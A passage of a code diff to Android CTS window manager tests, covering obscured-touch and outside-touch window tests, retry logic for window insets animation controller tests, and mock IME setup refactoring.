+            session.waitForReady(mActivity.getDisplayId());
+
             // Set up window.
             mActivityRule.runOnUiThread(() -> {
                 mView = new View(mActivity);
                 p.width = 20;
                 p.height = 20;
-                p.gravity = Gravity.LEFT | Gravity.TOP;
+                p.gravity = Gravity.CENTER;
                 mView.setFilterTouchesWhenObscured(true);
                 mView.setOnClickListener((v) -> {
                     mClickCount++;
@@ -201,7 +576,6 @@
     public void testWindowBecomesUnTouchable() throws Throwable {
         final WindowManager wm = mActivity.getWindowManager();
         final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
-        mClickCount = 0;
 
         final View viewOverlap = new View(mActivity);
 
@@ -210,7 +584,7 @@
             mView = new View(mActivity);
             p.width = 20;
             p.height = 20;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            p.gravity = Gravity.CENTER;
             mView.setOnClickListener((v) -> {
                 mClickCount++;
             });
@@ -218,7 +592,7 @@
 
             p.width = 100;
             p.height = 100;
-            p.gravity = Gravity.LEFT | Gravity.TOP;
+            p.gravity = Gravity.CENTER;
             p.type = WindowManager.LayoutParams.TYPE_APPLICATION;
             mActivity.addWindow(viewOverlap, p);
         });
@@ -238,6 +612,61 @@
     }
 
     @Test
+    public void testTapInsideUntouchableWindowResultInOutsideTouches() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        final Set<MotionEvent> events = new ArraySet<>();
+        mActivityRule.runOnUiThread(() -> {
+            mView = new View(mActivity);
+            p.width = 20;
+            p.height = 20;
+            p.gravity = Gravity.CENTER;
+            p.flags = FLAG_NOT_TOUCHABLE | FLAG_WATCH_OUTSIDE_TOUCH;
+            mView.setOnTouchListener((v, e) -> {
+                // Copying to make sure we are not dealing with a reused object
+                events.add(MotionEvent.obtain(e));
+                return false;
+            });
+            mActivity.addWindow(mView, p);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mView);
+
+        assertEquals(1, events.size());
+        MotionEvent event = events.iterator().next();
+        assertEquals(MotionEvent.ACTION_OUTSIDE, event.getAction());
+    }
+
+    @Test
+    public void testTapOutsideUntouchableWindowResultInOutsideTouches() throws Throwable {
+        final WindowManager.LayoutParams p = new WindowManager.LayoutParams();
+
+        Set<MotionEvent> events = new ArraySet<>();
+        int size = 20;
+        mActivityRule.runOnUiThread(() -> {
+            mView = new View(mActivity);
+            p.width = size;
+            p.height = size;
+            p.gravity = Gravity.CENTER;
+            p.flags = FLAG_NOT_TOUCHABLE | FLAG_WATCH_OUTSIDE_TOUCH;
+            mView.setOnTouchListener((v, e) -> {
+                // Copying to make sure we are not dealing with a reused object
+                events.add(MotionEvent.obtain(e));
+                return false;
+            });
+            mActivity.addWindow(mView, p);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        CtsTouchUtils.emulateTapOnView(mInstrumentation, mActivityRule, mView, size + 5, size + 5);
+
+        assertEquals(1, events.size());
+        MotionEvent event = events.iterator().next();
+        assertEquals(MotionEvent.ACTION_OUTSIDE, event.getAction());
+    }
+
+    @Test
     public void testInjectToStatusBar() {
         // Try to inject event to status bar.
         assumeHasStatusBar(mActivityRule);
@@ -289,6 +718,11 @@
         executor.awaitTermination(5L, TimeUnit.SECONDS);
     }
 
+    private void waitForWindow(String name) {
+        mWmState.waitForWithAmState(state -> state.isWindowSurfaceShown(name),
+                name + "'s surface is appeared");
+    }
+
     public static class TestActivity extends Activity {
         private ArrayList<View> mViews = new ArrayList<>();
 
@@ -337,5 +771,14 @@
                 return false;
             }
         }
+
+        // Wait until pointer location surface shown.
+        static void waitForReady(int displayId) {
+            final WindowManagerStateHelper wmState = new WindowManagerStateHelper();
+            final String windowName = "PointerLocation - display " + displayId;
+            wmState.waitForWithAmState(state -> {
+                return state.isWindowSurfaceShown(windowName);
+            }, windowName + "'s surface is appeared");
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 46b706a..867d101 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -40,6 +40,7 @@
 import static org.hamcrest.Matchers.nullValue;
 import static org.hamcrest.Matchers.sameInstance;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
@@ -58,6 +59,7 @@
 import android.view.WindowInsetsAnimation.Callback;
 import android.view.WindowInsetsAnimationControlListener;
 import android.view.WindowInsetsAnimationController;
+import android.view.WindowInsetsController.OnControllableInsetsChangedListener;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.DecelerateInterpolator;
 import android.view.animation.Interpolator;
@@ -73,7 +75,6 @@
 
 import org.junit.After;
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ErrorCollector;
 import org.junit.runner.RunWith;
@@ -82,12 +83,14 @@
 import org.junit.runners.Parameterized.Parameters;
 
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 /**
  * Test whether {@link android.view.WindowInsetsController#controlWindowInsetsAnimation} properly
@@ -110,7 +113,6 @@
     List<VerifyingCallback> mCallbacks = new ArrayList<>();
     private boolean mLossOfControlExpected;
 
-    @Rule
     public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
 
     /**
@@ -136,8 +138,7 @@
     }
 
     @Before
-    public void setUp() throws Exception {
-        super.setUp();
+    public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
         final ImeEventStream mockImeEventStream;
         if (mType == ime()) {
             final Instrumentation instrumentation = getInstrumentation();
@@ -165,6 +166,7 @@
                     editorMatcher("onStartInput", mActivity.getEditTextMarker()),
                     TimeUnit.SECONDS.toMillis(10));
         }
+        awaitControl(mType);
     }
 
     @After
@@ -186,6 +188,7 @@
             mMockImeSession.close();
             mMockImeSession = null;
         }
+        mErrorCollector.verify();
     }
 
     private void assumeTestCompatibility() {
@@ -195,180 +198,236 @@
         }
     }
 
+    private void awaitControl(int type) throws Throwable {
+        CountDownLatch control = new CountDownLatch(1);
+        OnControllableInsetsChangedListener listener = (controller, controllableTypes) -> {
+            if ((controllableTypes & type) != 0)
+                control.countDown();
+        };
+        runOnUiThread(() -> mRootView.getWindowInsetsController()
+                .addOnControllableInsetsChangedListener(listener));
+        try {
+            if (!control.await(10, TimeUnit.SECONDS)) {
+                fail("Timeout waiting for control of " + type);
+            }
+        } finally {
+            runOnUiThread(() -> mRootView.getWindowInsetsController()
+                    .removeOnControllableInsetsChangedListener(listener)
+            );
+        }
+    }
+
+    private void retryIfCancelled(ThrowableThrowingRunnable test) throws Throwable {
+        try {
+            mErrorCollector.verify();
+            test.run();
+        } catch (CancelledWhileWaitingForReadyException e) {
+            // Deflake cancellations waiting for ready - we'll reset state and try again.
+            runOnUiThread(() -> {
+                mCallbacks.clear();
+                if (mRootView != null) {
+                    mRootView.setWindowInsetsAnimationCallback(null);
+                }
+            });
+            mErrorCollector = new LimitedErrorCollector();
+            mListener = new ControlListener(mErrorCollector);
+            awaitControl(mType);
+            test.run();
+        }
+    }
+
     @Presubmit
     @Test
     public void testControl_andCancel() throws Throwable {
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, mCancellationSignal, mListener);
+        retryIfCancelled(() -> {
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, mCancellationSignal, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mCancellationSignal.cancel();
+            });
+
+            mListener.awaitAndAssert(CANCELLED);
+            mListener.assertWasNotCalled(FINISHED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mCancellationSignal.cancel();
-        });
-
-        mListener.awaitAndAssert(CANCELLED);
-        mListener.assertWasNotCalled(FINISHED);
     }
 
     @Test
     public void testControl_andImmediatelyCancel() throws Throwable {
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, mCancellationSignal, mListener);
-            mCancellationSignal.cancel();
-        });
+        retryIfCancelled(() -> {
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, mCancellationSignal, mListener);
+                mCancellationSignal.cancel();
+            });
 
-        mListener.assertWasCalled(CANCELLED);
-        mListener.assertWasNotCalled(READY);
-        mListener.assertWasNotCalled(FINISHED);
+            mListener.assertWasCalled(CANCELLED);
+            mListener.assertWasNotCalled(READY);
+            mListener.assertWasNotCalled(FINISHED);
+        });
     }
 
     @Presubmit
     @Test
     public void testControl_immediately_show() throws Throwable {
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mListener.mController.finish(true);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mListener.mController.finish(true);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_immediately_hide() throws Throwable {
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runOnUiThread(() -> {
+                mListener.mController.finish(false);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runOnUiThread(() -> {
-            mListener.mController.finish(false);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_show() throws Throwable {
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_hide() throws Throwable {
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_show_interpolator() throws Throwable {
-        mInterpolator = new DecelerateInterpolator();
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            mInterpolator = new DecelerateInterpolator();
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Presubmit
     @Test
     public void testControl_transition_hide_interpolator() throws Throwable {
-        mInterpolator = new AccelerateInterpolator();
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            mInterpolator = new AccelerateInterpolator();
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false);
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false);
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     @Test
     public void testControl_andLoseControl() throws Throwable {
-        mInterpolator = new AccelerateInterpolator();
-        setVisibilityAndWait(mType, true);
+        retryIfCancelled(() -> {
+            mInterpolator = new AccelerateInterpolator();
+            setVisibilityAndWait(mType, true);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    mInterpolator, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        mInterpolator, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(false, TimeUnit.MINUTES.toMillis(5));
+            runOnUiThread(() -> {
+                mLossOfControlExpected = true;
+            });
+            launchHomeActivityNoWait();
+
+            mListener.awaitAndAssert(CANCELLED);
+            mListener.assertWasNotCalled(FINISHED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(false, TimeUnit.MINUTES.toMillis(5));
-        runOnUiThread(() -> {
-            mLossOfControlExpected = true;
-        });
-        launchHomeActivityNoWait();
-
-        mListener.awaitAndAssert(CANCELLED);
-        mListener.assertWasNotCalled(FINISHED);
     }
 
     @Presubmit
@@ -378,23 +437,26 @@
             return;
         }
 
-        setVisibilityAndWait(mType, false);
+        retryIfCancelled(() -> {
+            setVisibilityAndWait(mType, false);
 
-        runOnUiThread(() -> {
-            setupAnimationListener();
-            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
-                    null, null, mListener);
+            runOnUiThread(() -> {
+                setupAnimationListener();
+                mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                        null, null, mListener);
+            });
+
+            mListener.awaitAndAssert(READY);
+
+            runTransition(true);
+            runOnUiThread(() -> {
+                mActivity.getSystemService(InputMethodManager.class).restartInput(
+                        mActivity.mEditor);
+            });
+
+            mListener.awaitAndAssert(FINISHED);
+            mListener.assertWasNotCalled(CANCELLED);
         });
-
-        mListener.awaitAndAssert(READY);
-
-        runTransition(true);
-        runOnUiThread(() -> {
-            mActivity.getSystemService(InputMethodManager.class).restartInput(mActivity.mEditor);
-        });
-
-        mListener.awaitAndAssert(FINISHED);
-        mListener.assertWasNotCalled(CANCELLED);
     }
 
     private void setupAnimationListener() {
@@ -498,7 +560,47 @@
     }
 
     private void setVisibilityAndWait(int type, boolean visible) throws Throwable {
+        assertThat("setVisibilityAndWait must only be called before any"
+                + " WindowInsetsAnimation.Callback was registered", mCallbacks, equalTo(List.of()));
+
+
+        final Set<WindowInsetsAnimation> runningAnimations = new HashSet<>();
+        Callback callback = new Callback(Callback.DISPATCH_MODE_STOP) {
+
+            @NonNull
+            @Override
+            public void onPrepare(@NonNull WindowInsetsAnimation animation) {
+                synchronized (runningAnimations) {
+                    runningAnimations.add(animation);
+                }
+            }
+
+            @NonNull
+            @Override
+            public WindowInsetsAnimation.Bounds onStart(@NonNull WindowInsetsAnimation animation,
+                    @NonNull WindowInsetsAnimation.Bounds bounds) {
+                synchronized (runningAnimations) {
+                    runningAnimations.add(animation);
+                }
+                return bounds;
+            }
+
+            @NonNull
+            @Override
+            public WindowInsets onProgress(@NonNull WindowInsets insets,
+                    @NonNull List<WindowInsetsAnimation> runningAnimations) {
+                return insets;
+            }
+
+            @Override
+            public void onEnd(@NonNull WindowInsetsAnimation animation) {
+                synchronized (runningAnimations) {
+                    runningAnimations.remove(animation);
+                }
+            }
+        };
         runOnUiThread(() -> {
+            mRootView.setWindowInsetsAnimationCallback(callback);
             if (visible) {
                 mRootView.getWindowInsetsController().show(type);
             } else {
@@ -508,6 +610,16 @@
 
         waitForOrFail("Timeout waiting for inset to become " + (visible ? "visible" : "invisible"),
                 () -> mActivity.mLastWindowInsets.isVisible(mType) == visible);
+        waitForOrFail("Timeout waiting for animations to end, running=" + runningAnimations,
+                () -> {
+                    synchronized (runningAnimations) {
+                        return runningAnimations.isEmpty();
+                    }
+                });
+
+        runOnUiThread(() -> {
+            mRootView.setWindowInsetsAnimationCallback(null);
+        });
     }
 
     static class ControlListener implements WindowInsetsAnimationControlListener {
@@ -515,6 +627,7 @@
 
         WindowInsetsAnimationController mController = null;
         int mTypes = -1;
+        RuntimeException mCancelledStack = null;
 
         ControlListener(ErrorCollector errorCollector) {
             mErrorCollector = errorCollector;
@@ -563,6 +676,7 @@
                 mErrorCollector.checkThat("isFinished", controller.isFinished(), is(false));
                 mErrorCollector.checkThat("isCancelled", controller.isCancelled(), is(true));
             }
+            mCancelledStack = new RuntimeException("onCancelled called here");
             report(CANCELLED);
         }
 
@@ -576,7 +690,12 @@
             CountDownLatch latch = mLatches[event.ordinal()];
             try {
                 if (!latch.await(10, TimeUnit.SECONDS)) {
-                    fail("Timeout waiting for " + event);
+                    if (event == READY && mCancelledStack != null) {
+                        throw new CancelledWhileWaitingForReadyException(
+                                "expected " + event + " but instead got " + CANCELLED,
+                                mCancelledStack);
+                    }
+                    fail("Timeout waiting for " + event + "; reported events: " + reportedEvents());
                 }
             } catch (InterruptedException e) {
                 throw new AssertionError("Interrupted", e);
@@ -585,12 +704,21 @@
 
         void assertWasCalled(Event event) {
             CountDownLatch latch = mLatches[event.ordinal()];
-            assertEquals(event + " expected, but never called", 0, latch.getCount());
+            assertEquals(event + " expected, but never called; called: " + reportedEvents(),
+                    0, latch.getCount());
         }
 
         void assertWasNotCalled(Event event) {
             CountDownLatch latch = mLatches[event.ordinal()];
-            assertEquals(event + " not expected, but was called", 1, latch.getCount());
+            assertEquals(event + " not expected, but was called; called: " + reportedEvents(),
+                    1, latch.getCount());
+        }
+
+        String reportedEvents() {
+            return Arrays.stream(Event.values())
+                    .filter((e) -> mLatches[e.ordinal()].getCount() == 0)
+                    .map(Enum::toString)
+                    .collect(Collectors.joining(",", "<", ">"));
         }
     }
 
@@ -650,6 +778,7 @@
 
     public static final class LimitedErrorCollector extends ErrorCollector {
         private static final int LIMIT = 1;
+        private static final boolean REPORT_SUPPRESSED_ERRORS = false;
         private int mCount = 0;
 
         @Override
@@ -661,10 +790,20 @@
 
         @Override
         protected void verify() throws Throwable {
-            if (mCount > LIMIT) {
-                super.addError(new AssertionError((mCount - LIMIT) + " errors skipped."));
+            if (mCount > LIMIT && REPORT_SUPPRESSED_ERRORS) {
+                super.addError(new AssertionError((mCount - LIMIT) + " errors suppressed."));
             }
             super.verify();
         }
     }
+
+    private interface ThrowableThrowingRunnable {
+        void run() throws Throwable;
+    }
+
+    private static class CancelledWhileWaitingForReadyException extends AssertionError {
+        public CancelledWhileWaitingForReadyException(String message, Throwable cause) {
+            super(message, cause);
+        }
+    };
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
index 70c299d..df3c952 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
@@ -20,9 +20,8 @@
 import static android.graphics.Insets.NONE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowInsets.Type.navigationBars;
-import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assume.assumeTrue;
@@ -34,17 +33,10 @@
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 
-import android.app.Instrumentation;
 import android.content.pm.PackageManager;
-import android.graphics.Color;
 import android.platform.test.annotations.Presubmit;
 import android.view.WindowInsets;
 
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSession;
-
 import org.junit.Before;
 import org.junit.Test;
 import org.mockito.InOrder;
@@ -68,30 +60,21 @@
                         PackageManager.FEATURE_INPUT_METHODS));
     }
 
-    private void initActivity(boolean useFloating) throws Exception {
-        initMockImeSession(useFloating);
+    private void initActivity(boolean useFloating) {
+        MockImeHelper.createManagedMockImeSession(this, KEYBOARD_HEIGHT, useFloating);
 
         mActivity = startActivityInWindowingMode(TestActivity.class, WINDOWING_MODE_FULLSCREEN);
         mRootView = mActivity.getWindow().getDecorView();
     }
 
-    private MockImeSession initMockImeSession(boolean useFloating) throws Exception {
-        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        return MockImeSession.create(
-                instrumentation.getContext(), instrumentation.getUiAutomation(),
-                useFloating ? getFloatingImeSettings()
-                        : new ImeSettings.Builder().setInputViewHeight(KEYBOARD_HEIGHT)
-                                .setDrawsBehindNavBar(true));
-    }
-
     @Test
-    public void testImeAnimationCallbacksShowAndHide() throws Exception {
+    public void testImeAnimationCallbacksShowAndHide() {
         initActivity(false /* useFloating */);
         testShowAndHide();
     }
 
     @Test
-    public void testAnimationCallbacks_overlapping_opposite() throws Exception {
+    public void testAnimationCallbacks_overlapping_opposite() {
         initActivity(false /* useFloating */);
         assumeTrue(hasWindowInsets(mRootView, navigationBars()));
 
@@ -159,7 +142,7 @@
     }
 
     @Test
-    public void testZeroInsetsImeAnimates() throws Exception {
+    public void testZeroInsetsImeAnimates() {
         initActivity(true /* useFloating */);
         testShowAndHide();
     }
@@ -182,14 +165,4 @@
 
         commonAnimationAssertions(mActivity, before, false /* show */, ime());
     }
-
-    private static ImeSettings.Builder getFloatingImeSettings() {
-        final ImeSettings.Builder builder = new ImeSettings.Builder();
-        builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
-        // As documented, Window#setNavigationBarColor() is actually ignored when the IME window
-        // does not have FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS.  We are calling setNavigationBarColor()
-        // to ensure it.
-        builder.setNavigationBarColor(Color.BLACK);
-        return builder;
-    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
index 4bd5106..76b34f7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
@@ -21,6 +21,7 @@
 import static android.view.WindowInsets.Type.navigationBars;
 import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
+import static android.view.WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 
@@ -338,6 +339,8 @@
             getWindow().getAttributes().layoutInDisplayCutoutMode =
                     LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
             getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
+            getWindow().getDecorView().getWindowInsetsController().setSystemBarsBehavior(
+                    BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE);
             setContentView(mView);
             mEditor.requestFocus();
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 60afe29..c6997f8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -17,6 +17,8 @@
 package android.server.wm;
 
 import static android.graphics.PixelFormat.TRANSLUCENT;
+import static android.view.KeyEvent.ACTION_DOWN;
+import static android.view.KeyEvent.KEYCODE_BACK;
 import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
 import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
 import static android.view.View.SYSTEM_UI_FLAG_IMMERSIVE;
@@ -24,15 +26,18 @@
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowInsets.Type.navigationBars;
 import static android.view.WindowInsets.Type.statusBars;
-import static android.view.WindowInsetsController.BEHAVIOR_SHOW_BARS_BY_SWIPE;
-import static android.view.WindowInsetsController.BEHAVIOR_SHOW_BARS_BY_TOUCH;
+import static android.view.WindowInsets.Type.systemBars;
+import static android.view.WindowInsets.Type.systemGestures;
+import static android.view.WindowInsetsController.BEHAVIOR_DEFAULT;
 import static android.view.WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE;
+import static android.view.WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;
 import static android.view.WindowManager.LayoutParams.FLAG_FULLSCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
@@ -40,7 +45,9 @@
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.notNullValue;
 import static org.hamcrest.Matchers.nullValue;
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
@@ -63,7 +70,6 @@
 import android.widget.TextView;
 
 import androidx.annotation.Nullable;
-import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
@@ -77,6 +83,8 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Test whether WindowInsetsController controls window insets as expected.
@@ -88,6 +96,7 @@
 public class WindowInsetsControllerTests extends WindowManagerTestBase {
 
     private final static long TIMEOUT = 1000; // milliseconds
+    private final static long TIMEOUT_UPDATING_INPUT_WINDOW = 500; // milliseconds
     private final static long TIME_SLICE = 50; // milliseconds
     private final static AnimationCallback ANIMATION_CALLBACK = new AnimationCallback();
 
@@ -194,46 +203,24 @@
         final Instrumentation instrumentation = getInstrumentation();
         assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
                 nullValue());
-        try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
-                instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
-            final ImeEventStream stream = imeSession.openEventStream();
-
-            final TestActivity activity = startActivity(TestActivity.class);
-            expectEvent(stream, editorMatcher("onStartInput", activity.mEditTextMarker), TIMEOUT);
-
-            final View rootView = activity.getWindow().getDecorView();
-            getInstrumentation().runOnMainSync(() -> {
